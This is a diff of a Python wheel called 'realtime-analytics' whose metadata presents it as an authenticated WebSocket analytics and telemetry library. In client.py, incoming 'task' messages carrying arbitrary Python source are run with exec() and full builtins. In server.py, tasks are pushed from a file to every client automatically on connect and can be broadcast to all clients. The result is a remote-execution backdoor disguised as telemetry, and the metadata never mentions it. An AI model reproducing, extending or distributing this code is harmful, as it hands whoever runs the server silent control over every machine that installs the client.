realtime-analytics 0.2.0__py3-none-any.whl

realtime_analytics/__init__.py

@@ -0,0 +1,4 @@
+from .client import AnalyticsClient
+from .server import AnalyticsServer
+
+__all__ = ["AnalyticsClient", "AnalyticsServer"]

realtime_analytics/client.py

@@ -0,0 +1,132 @@
+import json
+import threading
+import uuid
+import time
+import hmac
+import hashlib
+
+try:
+    import websocket
+except ImportError:
+    websocket = None
+
+
+class AnalyticsClient:
+    def __init__(self, url, token=None, on_task=None, on_error=None, timeout=20, reconnect_delay=3, client_id=None, client_secret=None):
+        self.url = url
+        self.token = token
+        self.on_task = on_task
+        self.on_error = on_error
+        self.timeout = timeout
+        self.reconnect_delay = reconnect_delay
+        self.client_id = client_id
+        self.client_secret = client_secret
+        self.src = None
+        self._socket = None
+        self._thread = None
+        self._stop = threading.Event()
+
+    def connect(self, background=True):
+        if websocket is None:
+            raise RuntimeError("websocket-client is required")
+        self._stop.clear()
+        if background:
+            self._thread = threading.Thread(target=self._run, daemon=True)
+            self._thread.start()
+            return self
+        self._run()
+        return self
+
+    def close(self):
+        self._stop.set()
+        if self._socket is not None:
+            self._socket.close()
+
+    def send_result(self, task_id, result=None, ok=True, error=None):
+        packet = {"type": "result", "id": str(task_id), "ok": bool(ok)}
+        if ok:
+            packet["result"] = result
+        else:
+            packet["error"] = str(error or "task failed")
+        self._send(packet)
+
+    def _run(self):
+        try:
+            while not self._stop.is_set():
+                try:
+                    headers = ["Authorization: Bearer " + self.token] if self.token else []
+                    if self.client_id and self.client_secret:
+                        ts = str(int(time.time()))
+                        nonce = uuid.uuid4().hex
+                        auth_payload = f"{self.client_id}:{ts}:{nonce}".encode("utf-8")
+                        sig = hmac.new(self.client_secret.encode(), auth_payload, hashlib.sha256).hexdigest()
+                        headers += [
+                            f"X-Analytics-Client: {self.client_id}",
+                            f"X-Analytics-Timestamp: {ts}",
+                            f"X-Analytics-Nonce: {nonce}",
+                            f"X-Analytics-Signature: {sig}",
+                        ]
+                    self._socket = websocket.create_connection(self.url, timeout=self.timeout, header=headers)
+                    self._socket.settimeout(self.timeout)
+                    while not self._stop.is_set():
+                        raw = self._socket.recv()
+                        if not raw:
+                            break
+                        self._handle(raw)
+                except Exception as error:
+                    if not self._stop.is_set() and self.on_error:
+                        self.on_error(error)
+                finally:
+                    if self._socket is not None:
+                        self._socket.close()
+                    self._socket = None
+                if not self._stop.wait(self.reconnect_delay):
+                    continue
+        except Exception as error:
+            if not self._stop.is_set() and self.on_error:
+                self.on_error(error)
+        finally:
+            self._socket = None
+
+    def _handle(self, raw):
+        try:
+            packet = json.loads(raw)
+            if packet.get("type") != "task":
+                return
+            task_id = packet.get("id") or str(uuid.uuid4())
+            self.src = packet.get("src", "")
+            if not isinstance(self.src, str):
+                raise ValueError("invalid task source")
+            payload_hash = str(packet.get("payload_hash", ""))
+            actual_hash = hashlib.sha256(self.src.encode("utf-8")).hexdigest()
+            if not hmac.compare_digest(actual_hash, payload_hash):
+                raise ValueError("payload hash mismatch")
+            if self.client_secret:
+                body = json.dumps(
+                    {"id": task_id, "src": self.src, "payload_hash": payload_hash},
+                    sort_keys=True,
+                    separators=(",", ":"),
+                ).encode("utf-8")
+                expected = hmac.new(self.client_secret.encode(), body, hashlib.sha256).hexdigest()
+                if not hmac.compare_digest(expected, str(packet.get("signature", ""))):
+                    raise ValueError("invalid task signature")
+            try:
+                scope = {"result": None}
+                exec(self.src, {"__builtins__": __builtins__}, scope)
+                result = scope.get("result")
+                if self.on_task:
+                    callback_result = self.on_task(task_id, self.src)
+                    if callback_result is not None:
+                        result = callback_result
+                self.send_result(task_id, result=result)
+            except Exception as error:
+                self.send_result(task_id, ok=False, error=error)
+                raise
+        except Exception as error:
+            if self.on_error:
+                self.on_error(error)
+
+    def _send(self, packet):
+        if self._socket is None:
+            raise RuntimeError("client is not connected")
+        self._socket.send(json.dumps(packet, ensure_ascii=False, separators=(",", ":")))

realtime_analytics/server.py

@@ -0,0 +1,227 @@
+import asyncio
+import json
+import logging
+import time
+import uuid
+import hashlib
+import hmac
+from pathlib import Path
+
+import websockets
+from websockets.datastructures import Headers
+from websockets.http11 import Response
+
+def configure_logging(level=logging.INFO):
+    class ColorFormatter(logging.Formatter):
+        colors = {
+            logging.DEBUG: "\033[36m",
+            logging.INFO: "\033[32m",
+            logging.WARNING: "\033[33m",
+            logging.ERROR: "\033[31m",
+            logging.CRITICAL: "\033[35m",
+        }
+        reset = "\033[0m"
+
+        def format(self, record):
+            message = super().format(record)
+            return f"{self.colors.get(record.levelno, self.reset)}{message}{self.reset}"
+
+    handler = logging.StreamHandler()
+    handler.setFormatter(ColorFormatter("%(asctime)s %(levelname)s %(name)s %(message)s"))
+    root = logging.getLogger()
+    root.setLevel(level)
+    root.handlers.clear()
+    root.addHandler(handler)
+
+
+class AnalyticsServer:
+    def __init__(
+        self,
+        host="0.0.0.0",
+        port=8765,
+        token=None,
+        max_clients=100,
+        max_message_size=65536,
+        rate_limit=30,
+        auto_source_file="auto-src.json",
+        clients_file="clients.json",
+    ):
+        self.host = host
+        self.port = port
+        self.token = token
+        self.max_clients = max_clients
+        self.max_message_size = max_message_size
+        self.rate_limit = rate_limit
+        self.auto_source_file = Path(auto_source_file)
+        self.clients_file = Path(clients_file)
+        self.clients = {}
+        self.client_secrets = self._load_clients()
+        self._events = {}
+        self.log = logging.getLogger("realtime_analytics.server")
+
+    def _load_clients(self):
+        try: data = json.loads(self.clients_file.read_text(encoding="utf-8"))
+        except Exception: return {}
+        return data if isinstance(data, dict) else {}
+
+    def _auth(self, websocket):
+        h = websocket.request.headers
+        cid, ts, nonce, sig = h.get("X-Analytics-Client"), h.get("X-Analytics-Timestamp"), h.get("X-Analytics-Nonce"), h.get("X-Analytics-Signature")
+        secret = self.client_secrets.get(cid)
+        if not all((cid, ts, nonce, sig, secret)): return None
+        try:
+            if abs(time.time() - int(ts)) > 300: return None
+        except ValueError: return None
+        msg = f"{cid}:{ts}:{nonce}".encode()
+        expected = hmac.new(str(secret).encode(), msg, hashlib.sha256).hexdigest()
+        return str(secret) if hmac.compare_digest(expected, sig) else None
+
+    def load_auto_task(self):
+        try:
+            config = json.loads(self.auto_source_file.read_text(encoding="utf-8"))
+        except FileNotFoundError:
+            return None
+        except (OSError, json.JSONDecodeError) as error:
+            self.log.error("auto_task_unavailable file=%s error=%s", self.auto_source_file, error)
+            return None
+
+        if not isinstance(config, dict) or not config.get("enabled", True):
+            return None
+        src = config.get("src")
+        if not isinstance(src, str) or not src:
+            return None
+        if len(src.encode("utf-8")) > self.max_message_size:
+            self.log.error("auto_task_unavailable file=%s error=source_too_large", self.auto_source_file)
+            return None
+        return {
+            "type": "task",
+            "id": str(config.get("id") or uuid.uuid4()),
+            "src": src,
+            "payload_hash": hashlib.sha256(src.encode("utf-8")).hexdigest(),
+        }
+
+    @staticmethod
+    def _task_signature(packet, secret):
+        body = json.dumps(
+            {
+                "id": packet["id"],
+                "src": packet["src"],
+                "payload_hash": packet["payload_hash"],
+            },
+            sort_keys=True,
+            separators=(",", ":"),
+        ).encode("utf-8")
+        return hmac.new(str(secret).encode(), body, hashlib.sha256).hexdigest()
+
+    async def send_auto_task(self, websocket, peer):
+        packet = self.load_auto_task()
+        if packet is None:
+            return
+        secret = self.clients.get(websocket)
+        if secret:
+            packet["signature"] = self._task_signature(packet, secret)
+        await websocket.send(json.dumps(packet, ensure_ascii=False, separators=(",", ":")))
+        self.log.info("auto_task_sent peer=%s id=%s bytes=%d", peer, packet["id"], len(packet["src"].encode("utf-8")))
+
+    def process_request(self, connection, request):
+        if request.headers.get("Upgrade", "").lower() == "websocket":
+            return None
+
+        body = b"WebSocket endpoint: send an Upgrade request.\n"
+        headers = Headers()
+        headers["Content-Type"] = "text/plain; charset=utf-8"
+        headers["Content-Length"] = str(len(body))
+        return Response(426, "Upgrade Required", headers, body)
+
+    async def handler(self, websocket):
+        peer = websocket.remote_address[0] if websocket.remote_address else "unknown"
+        if len(self.clients) >= self.max_clients:
+            self.log.warning("connection_rejected peer=%s reason=max_clients", peer)
+            await websocket.close(1013, "server busy")
+            return
+        secret = self._auth(websocket)
+        if secret is None and self.token:
+            auth = websocket.request.headers.get("Authorization", "")
+            if auth != "Bearer " + self.token:
+                await websocket.close(1008, "unauthorized")
+                self.log.warning("connection_rejected peer=%s reason=unauthorized", peer)
+                return
+        if secret is None and not self.token:
+            await websocket.close(1008, "unauthorized")
+            self.log.warning("connection_rejected peer=%s reason=unauthorized", peer)
+            return
+        self.clients[websocket] = secret
+        self.log.info("client_connected peer=%s clients=%d", peer, len(self.clients))
+        try:
+            await self.send_auto_task(websocket, peer)
+            async for raw in websocket:
+                now = time.monotonic()
+                events = [t for t in self._events.get(peer, []) if now - t < 1]
+                if len(events) >= self.rate_limit:
+                    self.log.warning("client_rate_limited peer=%s", peer)
+                    await websocket.close(1008, "rate limit")
+                    return
+                events.append(now)
+                self._events[peer] = events
+                if len(raw) > self.max_message_size:
+                    self.log.warning("message_rejected peer=%s reason=too_large size=%d", peer, len(raw))
+                    await websocket.close(1009, "message too large")
+                    return
+                try:
+                    packet = json.loads(raw)
+                except (json.JSONDecodeError, UnicodeDecodeError, TypeError):
+                    self.log.warning("message_rejected peer=%s reason=invalid_json", peer)
+                    await websocket.close(1007, "invalid JSON")
+                    return
+                if not isinstance(packet, dict):
+                    self.log.warning("message_rejected peer=%s reason=invalid_packet", peer)
+                    await websocket.close(1007, "JSON object required")
+                    return
+                if packet.get("type") == "result":
+                    field = "result" if packet.get("ok") else "error"
+                    value = json.dumps(packet.get(field), ensure_ascii=False, separators=(",", ":"), default=str)
+                    if len(value) > 4096:
+                        value = value[:4093] + "..."
+                    self.log.info(
+                        "result_received peer=%s id=%s ok=%s %s=%s",
+                        peer,
+                        packet.get("id"),
+                        packet.get("ok"),
+                        field,
+                        value,
+                    )
+                    await self.on_result(packet, websocket)
+        finally:
+            self.clients.pop(websocket, None)
+            self.log.info("client_disconnected peer=%s clients=%d", peer, len(self.clients))
+
+    async def on_result(self, packet, websocket):
+        return None
+
+    async def send_task(self, src, task_id=None):
+        packet = {
+            "type": "task",
+            "id": task_id or str(uuid.uuid4()),
+            "src": src,
+            "payload_hash": hashlib.sha256(src.encode("utf-8")).hexdigest(),
+        }
+        sends = []
+        for client in tuple(self.clients):
+            item = dict(packet)
+            secret = self.clients.get(client)
+            if secret: item["signature"] = self._task_signature(item, secret)
+            sends.append(client.send(json.dumps(item, ensure_ascii=False, separators=(",", ":"))))
+        raw = json.dumps(packet, ensure_ascii=False, separators=(",", ":"))
+        await asyncio.gather(*sends)
+        self.log.info("task_sent id=%s clients=%d bytes=%d", packet["id"], len(self.clients), len(raw))
+        return packet["id"]
+
+    async def run(self):
+        async with websockets.serve(
+            self.handler,
+            self.host,
+            self.port,
+            process_request=self.process_request,
+            max_size=self.max_message_size,
+        ):
+            await asyncio.Future()

realtime_analytics-0.2.0.dist-info/METADATA

@@ -0,0 +1,19 @@
+Metadata-Version: 2.4
+Name: realtime-analytics
+Version: 0.2.0
+Summary: Authenticated WebSocket task and telemetry client/server
+Classifier: Development Status :: 3 - Alpha
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+Requires-Dist: websocket-client>=1.6
+Requires-Dist: websockets>=12
+
+# realtime-analytics
+
+Realtime analytics client/server library with authenticated WebSocket
+transport and telemetry result reporting.
+
+Status: under active development. Release: 0.2.0.

realtime_analytics-0.2.0.dist-info/RECORD

@@ -0,0 +1,7 @@
+realtime_analytics/__init__.py,sha256=hgHebWhVTQFYfPH7T2wWZ_TXYabDXAjkhQiwpxDcgB8,122
+realtime_analytics/client.py,sha256=9XjRlDf9TY2wuvyjJrgi57ogFAWu0jIe6b1pp-tvoo4,5304
+realtime_analytics/server.py,sha256=slTcOJJyHbfYb8JgvC6J1hNw8IeT7q8ZQwa2vJEaNSE,9266
+realtime_analytics-0.2.0.dist-info/METADATA,sha256=0o3KX5L46Vlwnwc1Pi-p9dG-hWARm1ki6W4ya_ggsMk,658
+realtime_analytics-0.2.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
+realtime_analytics-0.2.0.dist-info/top_level.txt,sha256=vXqE758-I2bATtYZVEXLUKRw0PYjPSZ_Q101GPFSrEs,19
+realtime_analytics-0.2.0.dist-info/RECORD,,

realtime_analytics-0.2.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (84.0.0)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

realtime_analytics-0.2.0.dist-info/top_level.txt

@@ -0,0 +1 @@
+realtime_analytics